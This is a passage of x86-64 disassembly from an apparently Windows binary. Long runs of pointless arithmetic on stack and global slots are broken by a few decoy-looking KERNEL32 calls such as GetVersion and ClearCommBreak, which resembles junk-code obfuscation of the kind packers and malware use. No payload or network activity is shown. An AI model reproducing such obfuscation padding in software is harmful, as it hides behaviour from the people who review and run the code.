mov ecx, dword [rsp + 0x2034]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2088], eax
lea rax, [0x14018be10]
mov qword [rsp + 0x50f8], rax
mov rax, qword [rsp + 0x4eb8]
mov rcx, qword [rsp + 0x3de8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
movsx eax, word [rsp + 0x3f8]
mov rcx, qword [rsp + 0x4080]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018c030], ax
lea rax, [rsp + 0xd7c]
mov qword [rsp + 0x5100], rax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4410]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x201c], eax
movzx eax, byte [rsp + 0x14a]
mov rcx, qword [rsp + 0x42c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov byte [rcx], al
lea rax, [rsp + 0x2d90]
mov qword [rsp + 0x5108], rax
movsx eax, byte [rsp + 0x1b5]
movsx ecx, byte [rsp + 0x1b8]
xor eax, ecx
mov rcx, qword [rsp + 0x4510]
mov byte [rcx], al
mov rax, qword [rsp + 0x4dd0]
movzx ecx, al
mov rax, qword [rsp + 0x2c50]
shl rax, cl
mov qword [rsp + 0x2ef8], rax
mov eax, dword [rsp + 0x20ac]
mov ecx, dword [rsp + 0x20c8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2034], eax
mov rax, qword [rsp + 0x4ce8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcdc]
sar eax, cl
mov word [rsp + 0xd40], ax
lea rax, [rsp + 0xd7c]
mov qword [0x14018c0f8], rax
lea rax, [rsp + 0x2ac8]
mov qword [rsp + 0x5110], rax
mov rax, qword [rsp + 0x3db8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4818]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov word [rcx], ax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x5118], rax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4360]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18d]
sub eax, ecx
mov rcx, qword [rsp + 0x4f48]
mov byte [rcx], al
lea rax, [rsp + 0x4258]
mov qword [rsp + 0x5120], rax
mov rax, qword [rsp + 0x4ff8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2098]
shr eax, cl
mov rcx, qword [rsp + 0x3ee8]
mov dword [rcx], eax
lea rax, [rsp + 0x3b4]
mov qword [rsp + 0x5128], rax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x48b8]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14018acf0], rax
mov eax, dword [rsp + 0x202c]
mov ecx, dword [rsp + 0x1f8c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d08]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1b6]
mov byte [rsp + 0x1c6], al
mov rax, qword [rsp + 0x4058]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xce8]
sub eax, ecx
mov rcx, qword [rsp + 0x4760]
mov word [rcx], ax
mov rax, qword [rsp + 0x42a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
and eax, ecx
mov rcx, qword [rsp + 0x4668]
mov word [rcx], ax
lea rax, [rsp + 0x1c1]
mov qword [rsp + 0x5130], rax
mov rax, qword [rsp + 0x3dc8]
mov ecx, dword [0x14018be78]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2068], eax
lea rax, [rsp + 0x3930]
mov qword [rsp + 0x5138], rax
movsx eax, word [rsp + 0x3b8]
mov rcx, qword [rsp + 0x4528]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4298]
mov word [rcx], ax
mov rax, qword [0x14018be80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4098]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14018ad40], ax
mov rax, qword [rsp + 0x4df0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3250]
sar rax, cl
mov rcx, qword [rsp + 0x42c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4350]
mov rcx, qword [rsp + 0x2f10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b68], rax
mov rax, qword [rsp + 0x4a50]
mov rcx, qword [rsp + 0x40b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bf8]
movzx eax, word [rax]
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x4c30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e10]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ba8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1c00]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov dword [rcx], eax
lea rax, [rsp + 0x4258]
mov qword [rsp + 0x5140], rax
mov rax, qword [rsp + 0x4a80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x177]
cdq
idiv ecx
mov rcx, qword [rsp + 0x48c0]
mov byte [rcx], al
lea rax, [rsp + 0x2070]
mov qword [rsp + 0x5148], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x20b8], eax
movsx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x40f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018c040]
mov word [rcx], ax
movzx eax, word [rsp + 0x544]
movzx ecx, word [0x14018bdc8]
sar eax, cl
mov rcx, qword [rsp + 0x4048]
mov word [rcx], ax
movzx eax, word [rsp + 0x39c]
mov rcx, qword [rsp + 0x4098]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4960]
mov word [rcx], ax
lea rax, [rsp + 0x2b68]
mov qword [rsp + 0x5150], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x175]
and eax, ecx
mov rcx, qword [rsp + 0x45f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3e60]
mov rax, qword [rax]
mov qword [rsp + 0x5158], rax
mov rax, qword [rsp + 0x47b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2098]
shl eax, cl
mov rcx, qword [rsp + 0x3e80]
mov dword [rcx], eax
lea rax, [0x14018c030]
mov qword [rsp + 0x5160], rax
mov rax, qword [rsp + 0x5128]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4af8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4728]
mov word [rcx], ax
lea rax, [rsp + 0x2bd0]
mov qword [0x14018c100], rax
movzx eax, word [rsp + 0x9dc]
mov rcx, qword [rsp + 0x3e98]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4818]
mov word [rcx], ax
lea rax, [rsp + 0x2ec0]
mov qword [rsp + 0x5168], rax
mov rax, qword [rsp + 0x4730]
mov rcx, qword [rsp + 0x4130]
mov qword [rsp + 0x5170], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5170]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4bb0]
mov qword [rcx], rax
lea rax, [rsp + 0x4440]
mov qword [rsp + 0x5178], rax
mov rax, qword [0x14018bf70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
add eax, ecx
mov rcx, qword [rsp + 0x4900]
mov byte [rcx], al
movzx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0x4b58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x40f0]
mov byte [rcx], al
lea rax, [rsp + 0x1de0]
mov qword [rsp + 0x5180], rax
mov rax, qword [rsp + 0x3bd8]
mov ecx, dword [rsp + 0x1b14]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f68]
mov dword [rcx], eax
movsx eax, word [rsp + 0xcac]
mov rcx, qword [rsp + 0x3f18]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c090]
mov word [rcx], ax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x5188], rax
mov rax, qword [rsp + 0x4500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d60]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x43e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc4]
sar eax, cl
mov rcx, qword [rsp + 0x3e38]
mov word [rcx], ax
lea rax, [rsp + 0x3608]
mov qword [rsp + 0x5190], rax
mov rax, qword [rsp + 0x3ee8]
mov ecx, dword [rsp + 0x20c8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x44d0]
mov dword [rcx], eax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x5198], rax
movsx eax, word [rsp + 0xc88]
mov rcx, qword [0x14018bed8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4020]
mov word [rcx], ax
movzx eax, word [rsp + 0xa80]
movzx ecx, word [rsp + 0xd34]
or eax, ecx
mov word [rsp + 0x4c8], ax
mov rax, qword [rsp + 0x42c0]
mov rax, qword [rax]
mov qword [0x14018c108], rax
mov rax, qword [rsp + 0x4c50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14018be30]
shl rax, cl
mov rcx, qword [rsp + 0x4aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4178]
mov rcx, qword [rsp + 0x44a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
lea rax, [rsp + 0x2e58]
mov qword [rsp + 0x51a0], rax
mov rax, qword [0x14018bff8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc4]
sub eax, ecx
mov rcx, qword [rsp + 0x3ee0]
mov word [rcx], ax
lea rax, [rsp + 0x1c40]
mov qword [rsp + 0x51a8], rax
mov rax, qword [rsp + 0x4868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c6]
imul eax, ecx
mov rcx, qword [rsp + 0x4890]
mov byte [rcx], al
mov rax, qword [rsp + 0x4608]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14018ad34]
shr eax, cl
mov dword [rsp + 0x2038], eax
lea rax, [rsp + 0x1b7]
mov qword [rsp + 0x51b0], rax
mov rax, qword [rsp + 0x4628]
mov rcx, qword [rsp + 0x4e38]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14018c0e8]
mov qword [rcx], rax
movsx eax, word [0x14018c030]
movsx ecx, word [rsp + 0xcbc]
and eax, ecx
mov rcx, qword [rsp + 0x4188]
mov word [rcx], ax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x51b8], rax
mov rax, qword [rsp + 0x4788]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3db8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0x41a0]
mov rcx, qword [rsp + 0x3630]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b98], rax
mov rax, qword [rsp + 0x43b8]
movzx eax, byte [rax]
mov byte [rsp + 0x1c7], al
mov rax, qword [rsp + 0x47b8]
mov rcx, qword [rsp + 0x3f68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4608]
mov dword [rcx], eax
lea rax, [rsp + 0x3640]
mov qword [rsp + 0x51c0], rax
movsx eax, word [rsp + 0xcdc]
mov rcx, qword [rsp + 0x4158]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d48]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ab8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x694]
sar eax, cl
mov rcx, qword [0x14018bfd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4fa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3320]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x41a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcfc]
shl eax, cl
mov word [rsp + 0xbfc], ax
mov rax, qword [rsp + 0x4e30]
mov rcx, qword [rsp + 0x51a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
lea rax, [rsp + 0x154]
mov qword [rsp + 0x51c8], rax
movsx eax, byte [rsp + 0x1b9]
mov rcx, qword [rsp + 0x5130]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov byte [rcx], al
mov rax, qword [rsp + 0x40a8]
mov eax, dword [rax]
mov dword [rsp + 0x20cc], eax
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4f70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4be0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f58]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x6b0], ax
lea rax, [rsp + 0xd7c]
mov qword [0x14018c110], rax
lea rax, [rsp + 0x48b8]
mov qword [rsp + 0x51d0], rax
mov rax, qword [rsp + 0x4120]
mov rcx, qword [rsp + 0x5050]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x51a0]
mov qword [rcx], rax
lea rax, [0x14018bf08]
mov qword [rsp + 0x51d8], rax
mov rax, qword [rsp + 0x5100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xce0]
sub eax, ecx
mov word [rsp + 0x3b4], ax
mov rax, qword [rsp + 0x4210]
mov rcx, qword [rsp + 0x3ea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3e60]
mov qword [rcx], rax
lea rax, [rsp + 0x1bc]
mov qword [rsp + 0x51e0], rax
mov rax, qword [rsp + 0x50e0]
mov rcx, qword [rsp + 0x3dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4958]
mov rax, qword [rax]
mov qword [rsp + 0x51e8], rax
mov rax, qword [rsp + 0x4e08]
movzx eax, word [rax]
mov word [0x14018c118], ax
mov rax, qword [0x14018bf00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x41b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c40]
mov ecx, dword [rsp + 0x2028]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4c40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x51c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x42c8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x4bf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2d90], rax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x51f0], rax
mov rax, qword [rsp + 0x4880]
mov rcx, qword [rsp + 0x38a0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3640], rax
mov eax, dword [rsp + 0x2074]
mov rcx, qword [rsp + 0x3a68]
mov qword [rsp + 0x51f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x51f8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4ae0]
mov dword [rcx], eax
lea rax, [rsp + 0x768]
mov qword [rsp + 0x5200], rax
movzx eax, word [0x14018bea8]
mov rcx, qword [rsp + 0x4c08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018bf18]
mov word [rcx], ax
mov rax, qword [rsp + 0x48f0]
mov rcx, qword [rsp + 0x4550]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4220]
movzx eax, word [rax]
mov word [rsp + 0xd8c], ax
movsx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x4d48]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcb4], ax
lea rax, [rsp + 0x2e48]
mov qword [rsp + 0x5208], rax
movsx eax, byte [rsp + 0xed]
movsx ecx, byte [rsp + 0x1ab]
sar eax, cl
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x3220]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4838]
mov ecx, dword [rsp + 0x1ca8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1b0c], eax
mov rax, qword [rsp + 0x3e98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4048]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov word [rcx], ax
mov rax, qword [rsp + 0x5150]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4350]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c0c0]
mov qword [rcx], rax
lea rax, [rsp + 0x1c2c]
mov qword [rsp + 0x5210], rax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b6]
and eax, ecx
mov rcx, qword [rsp + 0x4868]
mov byte [rcx], al
mov edx, 0xfab
mov rcx, qword [rsp + 0x4278]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x1f94], eax
movsx eax, word [rsp + 0xd44]
mov rcx, qword [rsp + 0x50d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4148]
mov word [rcx], ax
lea rax, [rsp + 0xcf0]
mov qword [rsp + 0x5218], rax
mov rax, qword [rsp + 0x4838]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1c80]
shl eax, cl
mov rcx, qword [rsp + 0x4910]
mov dword [rcx], eax
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x5220], rax
movsx eax, byte [rsp + 0x1ad]
movsx ecx, byte [0x14018acd9]
xor eax, ecx
mov rcx, qword [rsp + 0x43b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
or eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
lea rax, [rsp + 0x3b4]
mov qword [0x14018c120], rax
lea rax, [rsp + 0x4a68]
mov qword [rsp + 0x5228], rax
mov rax, qword [rsp + 0x5150]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14018ace8]
sar rax, cl
mov rcx, qword [rsp + 0x4560]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4360]
mov qword [rsp + 0x5230], rax
movsx eax, word [rsp + 0xd40]
movsx ecx, word [rsp + 0xd44]
add eax, ecx
mov word [rsp + 0xce8], ax
lea rax, [rsp + 0x207c]
mov qword [rsp + 0x5238], rax
mov rax, qword [rsp + 0x4870]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x42b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4270]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4dd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4258], rax
lea rax, [0x14018acda]
mov qword [rsp + 0x5240], rax
mov rax, qword [rsp + 0x51a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c2c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4058]
movsx eax, word [rax]
movsx ecx, word [0x14018c074]
sar eax, cl
mov rcx, qword [0x14018c010]
mov word [rcx], ax
mov rax, qword [rsp + 0x42a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x97c], ax
movzx eax, word [rsp + 0xcd0]
movzx ecx, word [rsp + 0xce0]
sub eax, ecx
mov word [rsp + 0x39c], ax
mov rax, qword [rsp + 0x4bb0]
mov rcx, qword [rsp + 0x3718]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4a88]
mov qword [rcx], rax
lea rax, [rsp + 0x1bd]
mov qword [rsp + 0x5248], rax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x2d08]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x45d8]
mov qword [rcx], rax
lea rax, [rsp + 0x1fd8]
mov qword [rsp + 0x5250], rax
mov rax, qword [rsp + 0x4a60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd74], ax
mov rax, qword [rsp + 0x4370]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x544], ax
lea rax, [0x14018ad28]
mov qword [0x14018c128], rax
lea rax, [rsp + 0xcd0]
mov qword [rsp + 0x5258], rax
mov rax, qword [rsp + 0x4f40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x47b0]
mov qword [rsp + 0x5260], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5260]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5050], rax
lea rax, [rsp + 0x3250]
mov qword [rsp + 0x5268], rax
movsx eax, byte [rsp + 0x1b0]
movsx ecx, byte [rsp + 0x1a0]
sub eax, ecx
mov rcx, qword [rsp + 0x48f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4060]
mov rcx, qword [rsp + 0x2fa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c60], rax
movzx eax, byte [0x14018acda]
mov byte [rsp + 0x1c8], al
mov rax, qword [rsp + 0x3bb8]
mov ecx, dword [rsp + 0x202c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5148]
mov dword [rcx], eax
lea rax, [rsp + 0x2084]
mov qword [rsp + 0x5270], rax
movsx eax, word [rsp + 0xb58]
mov rcx, qword [0x14018be38]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018bfa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x50a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4980]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc98], ax
mov rax, qword [rsp + 0x4978]
movzx eax, word [rax]
mov word [rsp + 0xd90], ax
movzx eax, word [rsp + 0xc94]
mov rcx, qword [rsp + 0x4b30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcc8], ax
mov eax, dword [rsp + 0x20ac]
mov ecx, dword [rsp + 0x1d4c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b60]
mov rcx, qword [rsp + 0x4540]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x30c8], rax
movsx eax, byte [rsp + 0x1bc]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
lea rax, [rsp + 0xd2c]
mov qword [rsp + 0x5278], rax
movzx eax, word [rsp + 0xd4c]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x3b4], ax
lea rax, [rsp + 0x37e8]
mov qword [0x14018c130], rax
mov rax, qword [rsp + 0x44a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x46c8]
mov qword [rsp + 0x5280], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5280]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5208]
mov qword [rcx], rax
lea rax, [rsp + 0x4740]
mov qword [rsp + 0x5288], rax
mov rax, qword [rsp + 0x5110]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3390]
sar rax, cl
mov rcx, qword [rsp + 0x46c8]
mov qword [rcx], rax
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x5290], rax
mov rax, qword [rsp + 0x4a80]
movzx eax, byte [rax]
imul eax, eax, 0x56
mov byte [rsp + 0x1be], al
mov eax, dword [rsp + 0x1fa0]
mov ecx, dword [rsp + 0x2094]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1de0], eax
mov rax, qword [rsp + 0x4758]
movzx eax, byte [rax]
mov byte [rsp + 0x1c9], al
mov rax, qword [rsp + 0x4468]
mov rcx, qword [rsp + 0x3a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x44f8]
mov rcx, qword [0x14018be48]
sub rcx, rax
mov rax, rcx
mov qword [0x14018ad18], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x20d0], eax
movsx eax, word [rsp + 0xb58]
movsx ecx, word [rsp + 0xcc0]
add eax, ecx
mov word [rsp + 0x624], ax
mov rax, qword [rsp + 0x50b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3b8]
and eax, ecx
mov rcx, qword [rsp + 0x3f18]
mov word [rcx], ax
mov rax, qword [rsp + 0x41b8]
movzx eax, word [rax]
mov word [rsp + 0xd94], ax
mov rax, qword [rsp + 0x4878]
mov rcx, qword [rsp + 0x5288]
mov qword [rsp + 0x5298], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5298]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4b88]
mov qword [rcx], rax
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x14018bde0]
mov ecx, dword [rsp + 0x2088]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4708]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4388]
movzx eax, byte [rax]
mov byte [rsp + 0x1ca], al
mov rax, qword [rsp + 0x5120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x46e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3e60]
mov qword [rcx], rax
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x52a0], rax
lea rax, [rsp + 0x558]
mov qword [0x14018c138], rax
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x4860]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4a10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
or eax, ecx
mov word [rsp + 0x558], ax
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x52a8], rax
mov rax, qword [rsp + 0x4d08]
mov ecx, dword [rsp + 0x201c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov dword [rcx], eax
movsx eax, byte [0x14018acdb]
movsx ecx, byte [rsp + 0x1b5]
shl eax, cl
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x4990]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3670]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5120]
mov qword [rcx], rax
mov eax, dword [0x14018ad0c]
mov rcx, qword [rsp + 0x3f48]
mov qword [rsp + 0x52b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x52b0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1ff4], eax
lea rax, [rsp + 0xd14]
mov qword [rsp + 0x52b8], rax
mov rax, qword [rsp + 0x4578]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4788]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018c078]
mov word [rcx], ax
mov rax, qword [0x14018ace0]
mov rcx, qword [rsp + 0x2bd0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2f10]
mov qword [rsp + 0x52c0], rax
movsx eax, word [rsp + 0x69c]
movsx ecx, word [rsp + 0xcbc]
and eax, ecx
mov rcx, qword [rsp + 0x5160]
mov word [rcx], ax
movzx eax, word [rsp + 0xcd4]
movzx ecx, word [0x14018c0cc]
sub eax, ecx
mov rcx, qword [rsp + 0x4c90]
mov word [rcx], ax
lea rax, [rsp + 0x1c64]
mov qword [rsp + 0x52c8], rax
mov rax, qword [rsp + 0x45d8]
mov rcx, qword [rsp + 0x3fc0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c50], rax
mov rax, qword [rsp + 0x43b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ba8]
movsx ecx, byte [rcx]
